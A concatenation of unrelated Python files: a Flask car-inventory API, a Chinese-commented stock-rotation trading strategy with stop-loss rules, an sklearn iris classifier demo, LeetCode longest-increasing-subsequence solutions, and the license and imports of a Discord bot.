from flask import jsonify
from flask_restful import Resource

from api.controller.helpers.car import car_parse
from api.controller.helpers.utils import encode_document
from api.repository import car

from flask_restful import reqparse

car_parse = reqparse.RequestParser()
car_parse.add_argument('brand', type=str, required=True, help='no car brand')
car_parse.add_argument('model', type=str, required=True, help='no car model')
car_parse.add_argument('year', type=int, required=True, help='no car year')
car_parse.add_argument('price', type=int, required=True, help='no car price')
car_parse.add_argument('_id', type=str, required=False)
car_parse.add_argument('image', type=str, required=False)
car_parse.add_argument('sold', type=bool, required=False)

class Car(Resource):

    def get(self, car_id: str):
        try:
            data = car.get_car_by_id(car_id)
            success = True
        except Exception as e:
            print(e)
            data = None
            success = False

        return jsonify({'success': success, 'data': encode_document(data)})

    def post(self):
        data = car_parse.parse_args()
        try:
            car.save_car(data)
            success = True
        except Exception as e:
            print(e)
            success = False

        return jsonify({'success': success, 'data': None})

    def put(self):
        data = car_parse.parse_args()
        try:
            car.update_car(data)
            success = True
        except Exception as e:
            print(e)
            success = False

        return jsonify({'success': success, 'data': None})

    def delete(self, car_id):
        try:
            car.delete_car(car_id)
            success = True
        except Exception as e:
            print(e)
            success = False

        return jsonify({'success': success, 'data': None})

class CarList(Resource):

    def get(self):
        try:
            data = car.get_all_cars()
            success = True
        except Exception as e:
            print(e)
            data = None
            success = False

        return jsonify({'success': success, 'data': encode_document(data)})


'''
二八小市值择时买卖

配置指定频率的调仓日，在调仓日每日指定时间，计算沪深300指数和中证500指数当前的20日涨
幅，如果2个指数的20日涨幅有一个为正，则进行选股调仓，之后如此循环往复。

止损策略：

    大盘止损：(可选)
        1. 每分钟取大盘前130日的最低价和最高价，如果最高大于最低的两倍则清仓，停止交易。
        2. 每分钟判断大盘是否呈现三只黑鸦止损，如果是则当天清仓并停止交易，第二天停止交
           易一天。

    个股止损：(可选)
        每分钟判断个股是否从持仓后的最高价回撤幅度，如果超过个股回撤阈值，则平掉该股持仓

    二八止损：(必需)
        每日指定时间，计算沪深300指数和中证500指数当前的20日涨幅，如果2个指数涨幅都为负，
        则清仓，重置调仓计数，待下次调仓条件满足再操作

版本：v2.0.7
日期：2016.11.15
作者：Morningstar
'''
import pandas as pd
import numpy as np
import tradestat
from datetime import datetime, timedelta
import scipy.optimize as sco  # 用于仓位控制最优化问题求解
import talib
from math import isnan, log

# 黑名单一览表，更新时间 2016.7.10 by 沙米
# 科恒股份、太空板业，一旦2016年继续亏损，直接面临暂停上市风险
def get_blacklist():
    blacklist = ["600656.XSHG", "300372.XSHE", "600403.XSHG", "600421.XSHG", "600733.XSHG", "300399.XSHE",
                 "600145.XSHG", "002679.XSHE", "000020.XSHE", "002330.XSHE", "300117.XSHE", "300135.XSHE",
                 "002566.XSHE", "002119.XSHE", "300208.XSHE", "002237.XSHE", "002608.XSHE", "000691.XSHE",
                 "002694.XSHE", "002715.XSHE", "002211.XSHE", "000788.XSHE", "300380.XSHE", "300028.XSHE",
                 "000668.XSHE", "300033.XSHE", "300126.XSHE", "300340.XSHE", "300344.XSHE", "002473.XSHE"]
    return blacklist

# 设置参数，初始化逻辑
def init(context):
    # 加载统计模块
    g.trade_stat = tradestat.trade_stat()

    # 1. 配置选股参数
    # 备选股票数目
    g.pick_stock_count = 100
    # 买入股票数目
    g.buy_stock_count = 5

    # 是否根据PE选股
    g.pick_by_pe = False
    # 如果根据PE选股，则配置最大和最小PE值
    if g.pick_by_pe:
        g.max_pe = 200
        g.min_pe = 0

    # 是否根据EPS选股
    g.pick_by_eps = True
    # 配置选股最小EPS值
    if g.pick_by_eps:
        g.min_eps = 0

    # 配置是否过滤创业板股票
    g.filter_gem = True
    # 配置是否过滤黑名单股票，回测建议关闭，模拟运行时开启
    g.filter_blacklist = False

    # 是否对股票评分
    g.is_rank_stock = True
    if g.is_rank_stock:
        # 参与评分的股票数目
        g.rank_stock_count = 20

    # 2. 配置止损参数
    # (1) 配置是否根据大盘历史价格止损
    # 大盘指数前130日内最高价超过最低价2倍，则清仓止损
    # 注：关闭此止损，收益增加，但回撤会增加
    g.is_market_stop_loss_by_price = True
    if g.is_market_stop_loss_by_price:
        # 配置价格止损判定指数，默认为上证指数，可修改为其他指数
        g.index_4_stop_loss_by_price = '000001.XSHG'

    # (2) 配置是否开启大盘三黑鸦止损
    # 个人认为针对大盘判断三黑鸦效果并不好，首先有效三只乌鸦难以判断，准确率实际来看也不好，
    # 其次，分析历史行情看一般大盘出现三只乌鸦的时候，已经严重滞后了，使用其他止损方式可能会更好
    g.is_market_stop_loss_by_3_black_crows = True
    if g.is_market_stop_loss_by_3_black_crows:
        # 配置三黑鸦判定指数，默认为上证指数，可修改为其他指数
        g.index_4_stop_loss_by_3_black_crows = '000001.XSHG'
        g.dst_drop_minute_count = 60

    # (3) 配置是否根据28指数值实时进行止损
    g.is_market_stop_loss_by_28_index = False
    # 二八指数
    # g.index2 = '000300.XSHG'  # 沪深300指数，表示二，大盘股
    # g.index8 = '000905.XSHG'  # 中证500指数，表示八，小盘股
    g.index2 = '000016.XSHG'  # 上证50指数
    g.index8 = '399333.XSHE'  # 中小板R指数
    # g.index8 = '399006.XSHE'  # 创业板指数
    # 判定调仓的二八指数20日增幅
    g.index_growth_rate = 0.01
    if g.is_market_stop_loss_by_28_index:
        # 配置当日28指数连续为跌的分钟计数达到指定值则止损
        g.dst_minute_count_28index_drop = 120

    # (4) 配置是否进行个股止损、止盈
    g.is_stock_stop_loss = False
    g.is_stock_stop_profit = False

    # (5) 重置当日止损参数，仅针对需要当日需要重置的参数
    reset_day_param()

    # 3. 配置调仓逻辑函数
    # 调仓日计数器，单位：日
    g.day_count = 0
    # 调仓频率，单位：日
    g.period = 3
    # 缓存股票持仓后的最高价
    g.last_high = {}
    # 每日收盘前10分钟，运行调仓函数
    scheduler.run_daily(do_rebalance, time_rule=market_close(minute=10))
    # 打印策略参数
    log_param()

# 重置当日参数，仅针对需要当日需要重置的参数
def reset_day_param():
    # 重置当日大盘价格止损状态
    if g.is_market_stop_loss_by_price:
        g.is_day_stop_loss_by_price = False
    # 重置三黑鸦状态分钟计时器
    if g.is_market_stop_loss_by_3_black_crows:
        g.cur_drop_minute_count = 0
    # 重置28指数止损分钟计时器
    if g.is_market_stop_loss_by_28_index:
        g.minute_count_28index_drop = 0
    # 清空当日个股250天内最大的3日涨幅的缓存
    if g.is_stock_stop_loss or g.is_stock_stop_profit:
        g.pct_change = {}
        #g.pct_change.clear()

# 开盘前判断市场行情
def before_trading(context):
    logger.info("---------------------------------------------")
    # 盘前判断三乌鸦状态，因为判断的数据为前4日
    g.is_last_day_3_black_crows = is_3_black_crows(g.index_4_stop_loss_by_3_black_crows)
    if g.is_last_day_3_black_crows:
        logger.info("==> 前4日已经构成三黑鸦形态")
    pass

# 择时控制，主要实现止损
def handle_bar(context, bar_dict):
    # 大盘价格止损
    if g.is_market_stop_loss_by_price:
        if market_stop_loss_by_price(context, g.index_4_stop_loss_by_price):
            return

    if g.is_market_stop_loss_by_3_black_crows:
        if market_stop_loss_by_3_black_crows(context, g.index_4_stop_loss_by_3_black_crows, g.dst_drop_minute_count):
            return

    if g.is_market_stop_loss_by_28_index:
        if market_stop_loss_by_28_index(context, g.dst_minute_count_28index_drop):
            return

    if g.is_stock_stop_loss:
        stock_stop_loss(context, bar_dict)

    if g.is_stock_stop_profit:
        stock_stop_profit(context, bar_dict)

# 2. 调仓，必须加择时，避免买入就赔的情况
def do_rebalance(context, bar_dict):
    logger.info("调仓日计数 [%d]" % (g.day_count))

    # 回看指数前20天的涨幅
    gr_index2 = get_growth_rate(g.index2)
    gr_index8 = get_growth_rate(g.index8)
    logger.info("当前%s指数的20日涨幅 [%.2f%%]" % (instruments(g.index2).symbol, gr_index2 * 100))
    logger.info("当前%s指数的20日涨幅 [%.2f%%]" % (instruments(g.index8).symbol, gr_index8 * 100))

    if gr_index2 <= g.index_growth_rate and gr_index8 <= g.index_growth_rate:
        clear_positions(context)
        g.day_count = 0
    else:  # if  gr_index2 > g.index_growth_rate or ret_index8 > g.index_growth_rate:
        if g.day_count % g.period == 0:
            logger.info("==> 满足条件进行调仓")
            buy_stocks = pick_stocks(context, bar_dict)
            logger.info("选股后可买股票: %s" % (buy_stocks))
            adjust_position(context, buy_stocks)
        g.day_count += 1

# 根据待买股票创建或调整仓位
# 对于因停牌等原因没有卖出的股票则继续持有
# 始终保持持仓数目为g.buy_stock_count
def adjust_position(context, buy_stocks):
    # 清仓不在买入清单中的股票
    for stock in context.portfolio.positions.keys():
        if stock not in buy_stocks:
            logger.info("stock [%s] in position is not buyable" % (stock))
            position = context.portfolio.positions[stock]
            close_position(position)
        else:
            logger.info("stock [%s] is already in position" % (stock))
    # 根据股票数量分仓
    # 此处只根据可用金额平均分配购买，不能保证每个仓位平均分配
    position_count = len(context.portfolio.positions)
    if g.buy_stock_count > position_count:
        value = context.portfolio.cash / (g.buy_stock_count - position_count)

        for stock in buy_stocks:
            if context.portfolio.positions[stock].quantity == 0:
                if open_position(stock, value):
                    if len(context.portfolio.positions) == g.buy_stock_count:
                        break

# 日交易结束后进行统计，并重置日参数
def after_trading(context):
    # 统计报告交易情况
    g.trade_stat.report(context)
    # 重置日止损参数
    reset_day_param()
    # 得到当前未完成订单
    orders = get_open_orders()
    for _order in orders:
        logger.info("canceled uncompleted order: %s" % (_order.order_id))
    pass

# 格雷厄姆选股，再进行过滤，最终挑选指定可买数目的股票
def pick_stocks(context, bar_dict):
    # 删选股票
    fundamental_df = get_fundamentals(query().filter(
        fundamentals.eod_derivative_indicator.pe_ratio < 15,
        fundamentals.eod_derivative_indicator.pb_ratio < 1.5,
        fundamentals.financial_indicator.inc_earnings_per_share > 0,
        fundamentals.financial_indicator.inc_profit_before_tax > 0,
        fundamentals.financial_indicator.current_ratio > 2,
        fundamentals.financial_indicator.quick_ratio > 1, )
        .order_by(fundamentals.eod_derivative_indicator.market_cap.asc())
        .limit(g.pick_stock_count))
    stock_list = list(fundamental_df.columns.values)

    if g.filter_gem:
        stock_list = filter_gem_stock(context, stock_list)

    if g.filter_blacklist:
        stock_list = filter_blacklist_stock(context, stock_list)

    stock_list = filter_paused_stock(stock_list)
    stock_list = filter_st_stock(stock_list)
    stock_list = filter_limitup_stock(context, bar_dict, stock_list)
    stock_list = filter_limitdown_stock(context, bar_dict, stock_list)

    # 根据20日股票涨幅过滤效果不好，故注释
    # stock_list = filter_by_growth_rate(stock_list, 20)

    if g.is_rank_stock:
        # 若选出股票太多，则只取前g.rank_stock_count个进行排分
        if len(stock_list) > g.rank_stock_count:
            stock_list = stock_list[:g.rank_stock_count]

        # logger.debug("评分前备选股票: %s" %(stock_list))
        if len(stock_list) > 0:
            stock_list = rank_stocks(bar_dict, stock_list)
            # logger.debug("评分后备选股票: %s" %(stock_list))

    # 选取指定可买数目的股票
    if len(stock_list) > g.buy_stock_count:
        stock_list = stock_list[:g.buy_stock_count]
    return stock_list

# 5. 分级A基金轮动补仓
def fja_invest(context, bar_dict):
    '''
    cash = context.portfolio.cash
    min_stock= '150283.XSHE'  # 申万医药A
    min_discount= 0
    fja= [stk for stk in context.fja_list if bar_dict[stk].is_trading]
    for stock in fja:
        try:
            if bar_dict[stock].discount_rate < min_discount:
                min_stock= stock
                min_discount= bar_dict[stock].discount_rate
        except:
            pass
    if cash > 0:
        order_target_value(min_stock, cash)
        logger.info('买入%s,当前资产组合为%s' % (min_stock, str(context.portfolio.positions)))
    '''
    # 获得当日最小折价率基金代码及折价率
    discount_rate = pd.Series(data=np.nan, index=context.fja_list)
    for stk in discount_rate.index:
        try:
            discount_rate[stk] = bar_dict[stk].discount_rate
        except:
            pass
    discount_rate = discount_rate.dropna()
    if discount_rate.empty:
        return
    min_stock = discount_rate.argmin()
    min_discount = discount_rate[min_stock]
    # 第一次买入
    if context.cur_stock == '':
        shares = context.portfolio.cash / bar_dict[min_stock].close
        order_shares(min_stock, shares)
        logger.info("买入:" + min_stock + str(shares))
        context.cur_stock = min_stock
    else:
        # 如果当日最小折价率与当前持仓折价率相差超过1则轮仓
        cur_discount = bar_dict[context.cur_stock].discount_rate
        if context.cur_stock != min_stock and bar_dict[min_stock].is_trading \
                and bar_dict[context.cur_stock].is_trading and cur_discount - min_discount > 1:
            order_target_percent(context.cur_stock, 0)
            logger.info("卖出:" + context.cur_stock)
            shares = context.portfolio.cash / bar_dict[min_stock].close
            order_shares(min_stock, shares)
            logger.info("买入:" + min_stock + str(shares))
            context.cur_stock = min_stock

# 该仓位控制函数不错，值得拥有 (*****)
def update_weights(context, stocks):
    # 计算各支股票上一年的收益率
    # start_date = context.now + timedelta(days=-365)
    # end_date = context.now +timedelta(days =-1)
    # price= get_price(stocks, start_date, end_date, fields= ['close'])
    # rets= np.log(price/ price.shift(1))
    rets = get_price_change_rate(stocks, count=252)
    if rets is None:
        return 0

    # 根据股票池中股票过去一年的历史涨跌幅，算出平均收益和标准差，得到组合的收益、波动和夏普比率
    def statistics(weights):
        weights = np.array(weights)
        pret = np.sum(rets.mean() * weights) * 252
        pvol = np.sqrt(np.dot(weights.T, np.dot(rets.cov() * 252, weights)))
        return np.array([pret, pvol, pret / pvol])

    # 最优化目标函数：夏普比率最大
    def min_sharpe(weights):
        return -statistics(weights)[2]

    # 最优化目标函数：方差（波动率）
    def min_variance(weights):
        return statistics(weights)[1]

    # 约束条件：权重之和为1； 优化解的取值范围：0到1之间
    cons = ({'type': 'eq', 'fun': lambda x: np.sum(x) - 1})
    bnds = tuple((0, 1) for x in range(len(stocks)))
    # 求解各支股票的最优权重
    opts = sco.minimize(min_sharpe, len(stocks) * [1. / len(stocks)], bounds=bnds, \
                        method='SLSQP', constraints=cons)
    # 输出最优解中每支股票的权重，用于投资
    return opts['x'].round(3)

def log_param():
    logger.info("调仓日频率: %d日" % (g.period))
    logger.info("备选股票数目: %d" % (g.pick_stock_count))

    logger.info("是否根据PE选股: %s" % (g.pick_by_pe))
    if g.pick_by_pe:
        logger.info("选股最大PE: %s" % (g.max_pe))
        logger.info("选股最小PE: %s" % (g.min_pe))

    logger.info("是否根据EPS选股: %s" % (g.pick_by_eps))
    if g.pick_by_eps:
        logger.info("选股最小EPS: %s" % (g.min_eps))

    logger.info("是否过滤创业板股票: %s" % (g.filter_gem))
    logger.info("是否过滤黑名单股票: %s" % (g.filter_blacklist))
    if g.filter_blacklist:
        logger.info("当前股票黑名单：%s" % str(get_blacklist()))

    logger.info("是否对股票评分选股: %s" % (g.is_rank_stock))
    if g.is_rank_stock:
        logger.info("评分备选股票数目: %d" % (g.rank_stock_count))

    logger.info("买入股票数目: %d" % (g.buy_stock_count))

    logger.info("二八指数之二: %s - %s" % (g.index2, instruments(g.index2).symbol))
    logger.info("二八指数之八: %s - %s" % (g.index8, instruments(g.index8).symbol))
    logger.info("判定调仓的二八指数20日增幅: %.1f%%" % (g.index_growth_rate * 100))

    logger.info("是否开启大盘历史高低价格止损: %s" % (g.is_market_stop_loss_by_price))
    if g.is_market_stop_loss_by_price:
        logger.info("大盘价格止损判定指数: %s - %s" % (
            g.index_4_stop_loss_by_price, instruments(g.index_4_stop_loss_by_price).symbol))

    logger.info("大盘三黑鸦止损判定指数: %s - %s" % (
        g.index_4_stop_loss_by_3_black_crows, instruments(g.index_4_stop_loss_by_3_black_crows).symbol))
    logger.info("是否开启大盘三黑鸦止损: %s" % (g.is_market_stop_loss_by_3_black_crows))
    if g.is_market_stop_loss_by_3_black_crows:
        logger.info("三黑鸦止损开启需要当日大盘为跌的分钟计数达到: %d" % (g.dst_drop_minute_count))

    logger.info("是否根据28指数值实时进行止损: %s" % (g.is_market_stop_loss_by_28_index))
    if g.is_market_stop_loss_by_28_index:
        logger.info("根据28指数止损需要当日28指数连续为跌的分钟计数达到: %d" % (g.dst_minute_count_28index_drop))

    logger.info("是否开启个股止损: %s" % (g.is_stock_stop_loss))
    logger.info("是否开启个股止盈: %s" % (g.is_stock_stop_profit))

def market_stop_loss_by_price(context, index):
    # 大盘指数前160日内最高价超过最低价2.2倍，则清仓止损
    # 基于历史数据判定，因此若状态满足，则当天都不会变化
    # 增加此止损，回撤降低，收益降低

    if not g.is_day_stop_loss_by_price:
        h = history_bars(index, 160, '1d', fields=['close', 'high', 'low'])
        low_price = h['low'].min()
        high_price = h['high'].max()
        # if high_price > 2 * low_price:
        if high_price > 2.2 * low_price \
                and h['close'][-1] < h['close'][-4] \
                and h['close'][-1] > h['close'][-100]:
            # 当日第一次输出日志
            logger.info("==> 大盘止损，%s指数前160日内最高价超过最低价2.2倍, 最高价: %f, 最低价: %f" % (
                instruments(index).symbol, high_price, low_price))
            g.is_day_stop_loss_by_price = True

    if g.is_day_stop_loss_by_price:
        clear_positions(context)
        g.day_count = 0

    return g.is_day_stop_loss_by_price

def market_stop_loss_by_3_black_crows(context, index, n):
    # 前日三黑鸦，累计当日大盘指数涨幅<0的分钟计数
    # 如果分钟计数超过值n，则开始进行三黑鸦止损
    # 避免无效三黑鸦乱止损
    if g.is_last_day_3_black_crows:
        if get_growth_rate(index, 1) < 0:
            g.cur_drop_minute_count += 1

        if g.cur_drop_minute_count >= n:
            if g.cur_drop_minute_count == n:
                logger.info("==> 当日%s增幅 < 0 已超过%d分钟，执行三黑鸦止损" % (instruments(index).symbol, n))

            clear_positions(context)
            g.day_count = 0
            return True

    return False

def is_3_black_crows(stock):
    # talib.CDL3BLACKCROWS

    # 三只乌鸦说明来自百度百科
    # 1. 连续出现三根阴线，每天的收盘价均低于上一日的收盘
    # 2. 三根阴线前一天的市场趋势应该为上涨
    # 3. 三根阴线必须为长的黑色实体，且长度应该大致相等
    # 4. 收盘价接近每日的最低价位
    # 5. 每日的开盘价都在上根K线的实体部分之内；
    # 6. 第一根阴线的实体部分，最好低于上日的最高价位
    #
    # 算法
    # 有效三只乌鸦描述众说纷纭，这里放宽条件，只考虑1和2
    # 根据前4日数据判断
    # 3根阴线跌幅超过4.5%（此条件忽略）

    h = history_bars(stock, 4, '1d', ['close', 'open'])
    h_close = list(h['close'])
    h_open = list(h['open'])

    if len(h_close) < 4 or len(h_open) < 4:
        return False

    # 一阳三阴
    if h_close[-4] > h_open[-4] \
            and (h_close[-1] < h_open[-1] and h_close[-2] < h_open[-2] and h_close[-3] < h_open[-3]):
        # and (h_close[-1] < h_close[-2] and h_close[-2] < h_close[-3]) \
        # and h_close[-1] / h_close[-4] - 1 < -0.045:
        return True
    return False

'''
def is_3_black_crows(stock, data):
    # talib.CDL3BLACKCROWS
    his =  history_bars(stock, 2, '1d', ('close','open'), skip_paused=True, df=False)
    closeArray = list(his['close'])
    closeArray.append(data[stock].close)
    openArray = list(his['open'])
    openArray.append(get_current_data()[stock].day_open)

    if closeArray[0]<openArray[0] and closeArray[1]<openArray[1] and closeArray[2]<openArray[2]:
        if closeArray[-1]/closeArray[0]-1>-0.045:
            his2 =  history_bars(stock, 4, '1d', ('close','open'), skip_paused=True, df=False)
            closeArray1 = his2['close']
            if closeArray[0]/closeArray1[0]-1>0:
                return True
    return False
'''

def market_stop_loss_by_28_index(context, count):
    # 回看指数前20天的涨幅
    gr_index2 = get_growth_rate(g.index2)
    gr_index8 = get_growth_rate(g.index8)

    if gr_index2 <= g.index_growth_rate and gr_index8 <= g.index_growth_rate:
        if (g.minute_count_28index_drop == 0):
            logger.info("当前二八指数的20日涨幅同时低于[%.2f%%], %s指数: [%.2f%%], %s指数: [%.2f%%]" \
                        % (g.index_growth_rate * 100, instruments(g.index2).symbol, gr_index2 * 100,
                           instruments(g.index8).symbol, gr_index8 * 100))

            # logger.info("当前%s指数的20日涨幅 [%.2f%%]" %(instruments(g.index2).symbol, gr_index2*100))
            # logger.info("当前%s指数的20日涨幅 [%.2f%%]" %(instruments(g.index8).symbol, gr_index8*100))
        g.minute_count_28index_drop += 1
    else:
        # 不连续状态归零
        if g.minute_count_28index_drop < count:
            g.minute_count_28index_drop = 0

    if g.minute_count_28index_drop >= count:
        if g.minute_count_28index_drop == count:
            logger.info("==> 当日%s指数和%s指数的20日增幅低于[%.2f%%]已超过%d分钟，执行28指数止损" \
                        % (instruments(g.index2).symbol, instruments(g.index8).symbol,
                           g.index_growth_rate * 100, count))

        clear_positions(context)
        g.day_count = 0
        return True

    return False

# 个股止损，应用跟踪止损的思想
def stock_stop_loss(context, bar_dict):
    for stock in context.portfolio.positions.keys():
        cur_price = bar_dict[stock].close

        if g.last_high[stock] < cur_price:
            g.last_high[stock] = cur_price

        threshold = get_stop_loss_threshold(stock, g.period)
        # logger.debug("个股止损阈值, stock: %s, threshold: %f" %(stock, threshold))
        if cur_price < g.last_high[stock] * (1 - threshold):
            logger.info("==> 个股止损, stock: %s, cur_price: %f, last_high: %f, threshold: %f"
                        % (stock, cur_price, g.last_high[stock], threshold))

            position = context.portfolio.positions[stock]
            if close_position(position):
                g.day_count = 0

# 个股止盈
def stock_stop_profit(context, bar_dict):
    for stock in context.portfolio.positions.keys():
        position = context.portfolio.positions[stock]
        cur_price = bar_dict[stock].close
        threshold = get_stop_profit_threshold(stock, g.period)
        # logger.debug("个股止盈阈值, stock: %s, threshold: %f" %(stock, threshold))
        if cur_price > position.avg_price * (1 + threshold):
            logger.info("==> 个股止盈, stock: %s, cur_price: %f, avg_cost: %f, threshold: %f"
                        % (stock, cur_price, g.last_high[stock], threshold))

            if close_position(position):
                g.day_count = 0

# 获取个股前n天的m日增幅值序列
# 增加缓存避免当日多次获取数据
def get_pct_change(security, n, m):
    pct_change = None
    if security in g.pct_change.keys():
        pct_change = g.pct_change[security]
    else:
        h = history_bars(security, n, '1d', fields=('close'))
        pct_change = h['close'].pct_change(m)  # 3日的百分比变比（即3日涨跌幅）
        g.pct_change[security] = pct_change
    return pct_change

# 计算个股回撤止损阈值
# 即个股在持仓n天内能承受的最大跌幅
# 算法：(个股250天内最大的n日跌幅 + 个股250天内平均的n日跌幅)/2
# 返回正值
def get_stop_loss_threshold(security, n=3):
    pct_change = get_pct_change(security, 250, n)
    # logger.debug("pct of security [%s]: %s", pct)
    maxd = pct_change.min()
    # maxd = pct[pct<0].min()
    avgd = pct_change.mean()
    # avgd = pct[pct<0].mean()
    # maxd和avgd可能为正，表示这段时间内一直在增长，比如新股
    bstd = (maxd + avgd) / 2

    # 数据不足时，计算的bstd为nan
    if not isnan(bstd):
        if bstd != 0:
            return abs(bstd)
        else:
            # bstd = 0，则 maxd <= 0
            if maxd < 0:
                # 此时取最大跌幅
                return abs(maxd)

    return 0.099  # 默认配置回测止损阈值最大跌幅为-9.9%，阈值高貌似回撤降低

# 计算个股止盈阈值
# 算法：个股250天内最大的n日涨幅
# 返回正值
def get_stop_profit_threshold(security, n=3):
    pct_change = get_pct_change(security, 250, n)
    maxr = pct_change.max()

    # 数据不足时，计算的maxr为nan
    # 理论上maxr可能为负
    if (not isnan(maxr)) and maxr != 0:
        return abs(maxr)
    return 0.30  # 默认配置止盈阈值最大涨幅为30%

# 获取股票n日以来涨幅，根据当前价计算
# n 默认20日
def get_growth_rate(security, n=20):
    lc = get_close_price(security, n)
    # c = data[security].close
    c = get_close_price(security, 1, '1m')

    if not isnan(lc) and not isnan(c) and lc != 0:
        return (c - lc) / lc
    else:
        logger.error("数据非法, security: %s, %d日收盘价: %f, 当前价: %f" % (security, n, lc, c))
        return 0

# 获取前n个单位时间当时的收盘价
def get_close_price(security, n, unit='1d'):
    return history_bars(security, n, unit, 'close')[0]

# 开仓，买入指定价值的证券
# 报单成功并成交（包括全部成交或部分成交，此时成交量大于0），返回True
# 报单失败或者报单成功但被取消（此时成交量等于0），返回False
def open_position(security, value):
    order = order_target_value_(security, value)
    if order != None and order.filled_quantity > 0:
        # 报单成功并有成交则初始化最高价
        cur_price = get_close_price(security, 1, '1m')
        g.last_high[security] = cur_price
        return True
    return False

# 平仓，卖出指定持仓
# 平仓成功并全部成交，返回True
# 报单失败或者报单成功但被取消（此时成交量等于0），或者报单非全部成交，返回False
def close_position(position):
    security = position.order_book_id
    order = order_target_value_(security, 0)  # 可能会因停牌失败
    if order != None:
        if order.filled_quantity > 0:
            # 只要有成交，无论全部成交还是部分成交，则统计盈亏
            g.trade_stat.watch(security, order.filled_quantity, position.avg_price, position.market_value)

        if order.status == ORDER_STATUS.FILLED and order.filled_quantity == order.quantity:
            # 全部成交则删除相关证券的最高价缓存
            if security in g.last_high:
                g.last_high.pop(security)
            else:
                logger.warn("last high price of %s not found" % (security))
            return True

    return False

# 清空卖出所有持仓
def clear_positions(context):
    if context.portfolio.positions:
        logger.info("==> 清仓，卖出所有股票")
        for stock in context.portfolio.positions.keys():
            position = context.portfolio.positions[stock]
            close_position(position)

# 自定义下单
# 根据帮助文档，当前报单函数都是阻塞执行，报单函数（如order_target_value）返回即表示报单完成
# 报单成功返回报单（不代表一定会成交），否则返回None
def order_target_value_(security, value):
    if value == 0:
        logger.debug("Selling out %s" % (security))
    else:
        logger.debug("Order %s to value %f" % (security, value))

    # 如果股票停牌，创建报单会失败，order_target_value 返回None
    # 如果股票涨跌停，创建报单会成功，order_target_value 返回Order，但是报单会取消
    # 部成部撤的报单，聚宽状态是已撤，此时成交量>0，可通过成交量判断是否有成交
    return order_target_value(security, value)

# 过滤停牌股票
def filter_paused_stock(stock_list):
    return [stock for stock in stock_list if not is_suspended(stock)]

# 过滤ST及其他具有退市标签的股票
def filter_st_stock(stock_list):
    return [stock for stock in stock_list
            if not is_st_stock(stock)
            and 'ST' not in instruments(stock).special_type
            and '*' not in instruments(stock).special_type
            and '退' not in instruments(stock).symbol]

# 过滤涨停的股票
def filter_limitup_stock(context, bar_dict, stock_list):
    # 已存在于持仓的股票即使涨停也不过滤，避免此股票再次可买，但因被过滤而导致选择别的股票
    return [stock for stock in stock_list if stock in context.portfolio.positions.keys()
            or bar_dict[stock].last < bar_dict[stock].limit_up]

# 过滤跌停的股票
def filter_limitdown_stock(context, bar_dict, stock_list):
    #
    return [stock for stock in stock_list if stock in context.portfolio.positions.keys()
            or bar_dict[stock].last > bar_dict[stock].limit_down]

# 过滤黑名单股票
def filter_blacklist_stock(context, stock_list):
    blacklist = get_blacklist()
    return [stock for stock in stock_list if stock not in blacklist]

# 过滤创业版股票
def filter_gem_stock(context, stock_list):
    return [stock for stock in stock_list if instruments(stock).order_book_id[0:3] != '300']

# 过滤20日增长率为负的股票
def filter_by_growth_rate(stock_list, n):
    return [stock for stock in stock_list if get_growth_rate(stock, n) > 0]

# 股票评分排序
def rank_stocks(bar_dict, stock_list):
    dst_stocks = {}
    for stock in stock_list:
        h = history_bars(stock, 130, '1d', fields=['close', 'high', 'low'])
        low_price_130 = h['low'].min()
        high_price_130 = h['high'].max()

        # avg_15 = bar_dict[stock].mavg(15, frequency='day')
        # cur_price = bar_dict[stock].last

        avg_15 = h['close'][-15:].mean()
        cur_price = get_close_price(stock, 1, '1m')

        score = (cur_price - low_price_130) + (cur_price - high_price_130) + (cur_price - avg_15)
        # score = ((cur_price-low_price_130) + (cur_price-high_price_130) + (cur_price-avg_15)) / cur_price
        dst_stocks[stock] = score

    df = pd.Series(dst_stocks)
    df = df.sort_values()
    return df.index


# -*- coding: utf-8 -*-
"""
Created on Fri Mar 11 15:13:47 2016

@author: Edward
"""

import numpy
from sklearn import datasets, svm, neighbors
from sklearn.cross_validation import train_test_split

iris = datasets.load_iris()
data = iris.data

labels = iris.target

knn = neighbors.KNeighborsClassifier()

data_train, data_test, labels_train, labels_test = train_test_split(data,labels)

knn.fit(data_train, labels_train)
knn_predict = knn.predict(data_test)

print("k-Nearest Neighbor")
print("Actual: ",labels_test)
print("Prediction: ", knn_predict)

print("Percentage: ", numpy.sum(knn_predict == labels_test)/len(labels_test))

svc = svm.SVC(kernel='linear')
svc.fit(data_train,labels_train)

svc_predict = svc.predict(data_test)
print("SVM: ", svc_predict)
print("Percentage: ", numpy.sum(svc_predict == labels_test)/len(labels_test))


'''
给定一个无序的整数数组，找到其中最长上升子序列的长度。

比如：
输入: [10,9,2,5,3,7,101,18]
输出: 4
解释: 最长的上升子序列是 [2,3,7,101]，它的长度是 4。

'''

'''
dp O(n^2)
'''

class Solution:
    def lengthOfLIS(self, nums: List[int]) -> int:
        if not nums:
            return 0
        dp = []
        for i in range(len(nums)):
            dp.append(1)
            for j in range(i):
                if nums[i] > nums[j]:
                    dp[i] = max(dp[i], dp[j]+1)
        return max(dp)

'''
greedy O(nlogn)
'''

class Solution:
    def lengthOfLIS(self, nums: List[int]) -> int:
        d = []
        for n in nums:
            if not d or n > d[-1]:
                d.append(n)
            else:
                l, r = 0, len(d) - 1
                loc = r
                while l <= r:
                    mid = (l + r) // 2
                    if d[mid] >= n:
                        loc = mid
                        r = mid - 1
                    else:
                        l = mid + 1
                d[loc] = n
        return len(d)


'''
MIT License

Copyright (c) 2017-2018 Cree-Py

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
'''

import discord
import os
import io
import traceback
import textwrap
import inspect
import aiohttp
